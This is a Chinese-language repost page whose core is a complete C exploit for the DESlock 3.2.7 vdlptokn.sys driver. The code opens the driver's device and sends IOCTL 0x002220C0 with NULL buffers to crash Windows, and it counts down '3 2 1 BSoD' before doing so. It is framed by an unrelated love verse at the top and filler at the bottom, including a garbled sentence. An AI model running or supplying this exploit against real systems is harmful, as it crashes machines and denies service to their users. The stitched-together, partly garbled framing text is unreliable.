你来时，撞开了我的心扉；你走时，却锁上了我的心房。从此，我的心像关不上的窗，风起时一片冰凉。只有你，能走进我的世界，抚慰我淡淡的忧伤。
////////////////////////////////////////////////////////////////////////////////////// ---------------------------------------------------------------------------- //
// | | //
// | Data Encryption Systems Ltd. - http://www.deslock.com/ | //
// | Data Encryption Systems DESlock - 3.2.7 | //
// | DESlock Virtual Token Driver - 1.0.2.43 - vdlptokn.sys | //
// | DoS Exploit | //
// | | //
// ---------------------------------------------------------------------------- //
// | | //
// | NT Internals - http://www.ntinternals.org/ | //
// | alex ntinternals org | //
// | 21 September 2008 | //
// | | //
// ---------------------------------------------------------------------------- //
//////////////////////////////////////////////////////////////////////////////////// #include <stdio.h>
#include <stdlib.h>
#include <windows.h> #define IMP_VOID __declspec(dllimport) VOID __stdcall
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall #define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003 typedef ULONG NTSTATUS; typedef struct _UNICODE_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PWSTR Buffer;
/* 0x08 */
}
UNICODE_STRING,
*PUNICODE_STRING,
**PPUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES
{
/* 0x00 */ ULONG Length;
/* 0x04 */ HANDLE RootDirectory;
/* 0x08 */ PUNICODE_STRING ObjectName;
/* 0x0C */ ULONG Attributes;
/* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
/* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
/* 0x18 */
}
OBJECT_ATTRIBUTES,
*POBJECT_ATTRIBUTES,
**PPOBJECT_ATTRIBUTES; typedef struct _IO_STATUS_BLOCK
{
union
{
/* 0x00 */ NTSTATUS Status;
/* 0x00 */ PVOID Pointer;
}; /* 0x04 */ ULONG Information;
/* 0x08 */
}
IO_STATUS_BLOCK,
*PIO_STATUS_BLOCK,
**PPIO_STATUS_BLOCK; typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
); IMP_VOID RtlInitUnicodeString
(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
); IMP_VOID RtlFreeUnicodeString
(
IN PUNICODE_STRING UnicodeString
); IMP_SYSCALL NtCreateFile
(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
); IMP_SYSCALL NtDeviceIoControlFile
(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
); IMP_SYSCALL NtClose
(
IN HANDLE Handle
); IMP_SYSCALL NtDelayExecution
(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Interval
); int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;
HANDLE DeviceHandle;
UNICODE_STRING DeviceName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
LARGE_INTEGER Interval; ///////////////////////////////////////////////////////////////////////////////////////////////
system("cls");
printf( " ---------------------------------------------------------------------------- \n"
" | |\n"
" | Data Encryption Systems Ltd. - http://www.deslock.com/ |\n"
" | Data Encryption Systems DESlock - 3.2.7 |\n"
" | DESlock Virtual Token Driver - 1.0.2.43 - vdlptokn.sys |\n"
" | DoS Exploit |\n"
" | |\n"
" ---------------------------------------------------------------------------- \n"
" | |\n"
" | NT Internals - http://www.ntinternals.org/ |\n"
" | alex ntinternals org |\n"
" | 21 September 2008 |\n"
" | |\n"
" ---------------------------------------------------------------------------- \n\n"); ///////////////////////////////////////////////////////////////////////////////////////////////
RtlInitUnicodeString(&DeviceName, L"\\Device\\DLPTokenWalter0"); ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA | FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength if(NtStatus)
{
printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus);
return NtStatus;
} RtlFreeUnicodeString(&DeviceName); /////////////////////////////////////////////////////////////////////////////////////////////// Interval.LowPart = 0xFF676980;
Interval.HighPart = 0xFFFFFFFF; printf(" 3");
NtDelayExecution(FALSE, &Interval);
printf(" 2");
NtDelayExecution(FALSE, &Interval); printf(" 1");
NtDelayExecution(FALSE, &Interval); printf(" BSoD\n\n");
NtDelayExecution(FALSE, &Interval);
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
0x002220C0, // IoControlCode
NULL, // InputBuffer
0, // InputBufferLength
NULL, // OutputBuffer
0); // OutBufferLength
if(NtStatus)
{
printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus);
return NtStatus;
} /////////////////////////////////////////////////////////////////////////////////////////////// NtStatus = NtClose(DeviceHandle); // Handle
if(NtStatus)
{
printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus);
return NtStatus;
}
return 0;
}
到此这篇关于DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit 就介绍到这了。遇到挫折的时候，不要消极对待，要积极对待，一定要心宽，做到心宽不容易的。越消沉越就高中生作文不起身来。人生不要有太多计较，要向前走，要相信一年比一年好。更多相关DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit 内容请查看相关栏目，小编编辑不易，再次感谢大家的支持！